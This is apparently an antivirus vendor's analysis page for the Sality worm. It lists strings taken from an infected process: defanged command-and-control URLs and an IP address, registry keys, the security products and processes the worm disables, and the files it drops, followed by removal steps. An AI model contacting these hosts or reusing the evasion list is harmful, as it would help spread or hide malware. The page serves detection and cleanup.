
Content-Type: text/plain

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Tue, 10 May 2016 01:56:46 GMT

Content-Length: 0

The Worm connects to the servers at the folowing location(s):

Explorer.EXE_1572_rwx_01E20000_00002000:

SHELL32.DLL

ShellExecuteA

KERNEL32.DLL

.rsrc

.text

Explorer.EXE_1572_rwx_01E30000_00001000:

|explorer.exeM_1572_

Explorer.EXE_1572_rwx_02100000_0108E000:

c:\windows

hXXp://coliseu.net/bottom.gif

hXXp://radioexpertfm.com/bottom.gif

hXXp://VVV.nangthongbayresort.de/bottom.gif

hXXp://VVV.artiplexi.com/bottom.gif

hXXp://empresas-cm.com/image.gif

hXXp://vadivudaiammantransports.com/images/bottom.gif

hXXp://tattooinindia.com/image.gif

hXXp://cgaclagosarea.org/img/bottom.gif

%System%\drivers\nkjkq.sys

Y.pD;

4670152549

SHELL32.DLL

ShellExecuteA

KERNEL32.DLL

.rsrc

.text

hXXp://89.119.67.154/testo5/

hXXp://kukutrustnet777.info/home.gif

hXXp://kukutrustnet888.info/home.gif

hXXp://kukutrustnet987.info/home.gif

KERNEL32.dll

USER32.dll

h.rdata

H.data

.reloc

ntoskrnl.exe

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50728)

Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion

hXXp://VVV.klkjwre9fqwieluoi.info/

hXXp://kukutrustnet777888.info/

Software\Microsoft\Windows\CurrentVersion\policies\system

Software\Microsoft\Windows\ShellNoRoam\MUICache

%s:*:Enabled:ipsec

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced

GdiPlus.dll

hXXp://

ipfltdrv.sys

VVV.microsoft.com

?%x=%d

&%x=%d

SYSTEM.INI

USER32.DLL

.%c%s

\\.\amsint32

NTDLL.DLL

autorun.inf

ADVAPI32.DLL

win%s.exe

%s.exe

WININET.DLL

InternetOpenUrlA

avast! Web Scanner

Avira AntiVir Premium WebGuard

cmdGuard

cmdAgent

Eset HTTP Server

ProtoPort Firewall service

SpIDer FS Monitor for Windows NT

Symantec Password Validation

WebrootDesktopFirewallDataService

WebrootFirewall

%d%d.tmp

SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList

%s\%s

%s\Software\Microsoft\Windows\CurrentVersion\Ext\Stats

Software\Microsoft\Windows\CurrentVersion\Ext\Stats

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects

Explorer.exe

A2CMD.

ASHWEBSV.

AVGCC.AVGCHSVX.

DRWEB

DWEBLLIO

DWEBIO

FSGUIEXE.

MCVSSHLD.

NPFMSG.

SYMSPORT.

WEBSCANX.

.adata

M_%d_

%c%d_%d

?456789:;<=

!"#$%&'()* ,-./0123

GetProcessHeap

GetWindowsDirectoryA

RegEnumKeyExA

RegDeleteKeyA

RegOpenKeyExA

RegCreateKeyA

RegCloseKey

SHFileOperationA

&3&3&3&389

.rdata

.data

Bkrnl.exe?

= =$=(=,=

322%2`.50728)

.klkjw:9fqwi

FamXf39.sys

.pBTa8

%s:*:

Bg.laXV

&?%x=

GUrlA'

Web%w|nc

HTTP)

2GUARDCMD.

.ENHCDM

PL/KPCKwWEB

MM.PFW.

.bssf

J:CRT

ADVAPI32.dll

MSVCRT.dll

SHELL32.dll

WS2_32.dll

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):

%original file name%.exe:860
AppEnable.mg.exe:1092
Delete the original Worm file.
Delete or disinfect the following files created/modified by the Worm:

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U0G00V7L\desktop.ini (67 bytes)
%WinDir%\system.ini (70 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\ns4.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\mj (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\tlg (41 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\nsJSON.dll (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\nsExec.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RSBS108J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\ExecDos.dll (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\WmiInspector.dll (3039 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\lm (128 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\9MI85F21\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\IpConfig.dll (4136 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\NSISEncrypt.dll (3286 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\AppEnable.mg.exe (7533 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\UserInfo.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\00072364_Rar\%original file name%.exe (4545 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\ns3.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ilg (263456 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ODG5ST95\desktop.ini (67 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Permalink

Back to the blog

e-mail

Google+

Twitter

Facebook

Win32.Sality.3_4d873a111c

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet

Win32.Sality.3_4d873a111c

E-mail

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet